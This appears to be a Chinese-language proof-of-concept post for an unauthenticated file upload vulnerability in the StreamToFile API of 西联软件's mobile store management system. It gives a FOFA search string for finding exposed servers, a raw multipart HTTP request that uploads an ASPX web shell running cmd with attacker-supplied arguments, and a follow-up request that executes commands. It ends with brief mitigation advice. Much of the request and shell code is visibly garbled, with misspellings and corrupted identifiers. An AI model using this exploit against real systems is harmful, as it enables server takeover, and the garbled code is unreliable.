西联软件-移动门店管理系统 StreamToFile 任意文件上传漏洞 POC

西联软件-移动门店管理系统 StreamToFile 接口存在文件上传漏洞，未经身份攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

02

搜索引擎

FOFA:

body="西联软件提供云计算服务"

POST /api/UploadDB/StreamToFile HTTP/1.1

POST /api/UploadDB/streamToFile HTTP/1.1

User-Agent: .Mozi11a/5.0-(Macintosh; Intel .Mac·0s x 10_15_7)-AppleebKit/537.36-(KHTML,"1ike Gecko)-chrome/
107.0.0.0 5afari/537.36
Accept-Encoding: gzip,"deflate
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryFf]Z4P1AZBixjELj
Accept: */*
Connection:"close
-----WebkitFormBoundaryFfIZ4P1AZBixiELiContent-Disposition:form-data;"name="organ'
qwert
--WebKitFormBounderyFf]Z4P1AZBixiELjContent-Disposition:"form-data;"name."devid"
yuiop
------NebkitFormBoundaryFfI24P1AZBixiELiContent-Disposition: form-data: neme-"files":filename-"1.aspx'
Content-Type:image/png
<%o Page Language "Iscript" validateRequest."false” %><5var c=new system,Diagnostics,ProcessstartInfo("cmd");war emnew System.Diagnostics.Process();var out:System.10.StreamReader,El:System.10,streamReader;c.UseshellExecute false;c.RedirectStandardoutput=true;c.RedirectStandardError-true;
e.StartInfo.c;c.Arguments="/c.".+ Request.Item["cmd"];e.start();out=e.StandardOutput;EI=e.StandardError;e.close();Response.Write(out,ReadToEnd()+ EI.ReadToEnd());System.1o.File.Delete(Request.PhysicalPath);Response.End();%>
------WebkitFormBoundaryFf)24P1AzBixjELj--

GET /Files/DB/quert_yuiop.aspx?cmd=dir HTTP/1.1

nuclei

afrog

xray

1、关闭互联网暴露面或接口设置访问权限

2、升级至安全版本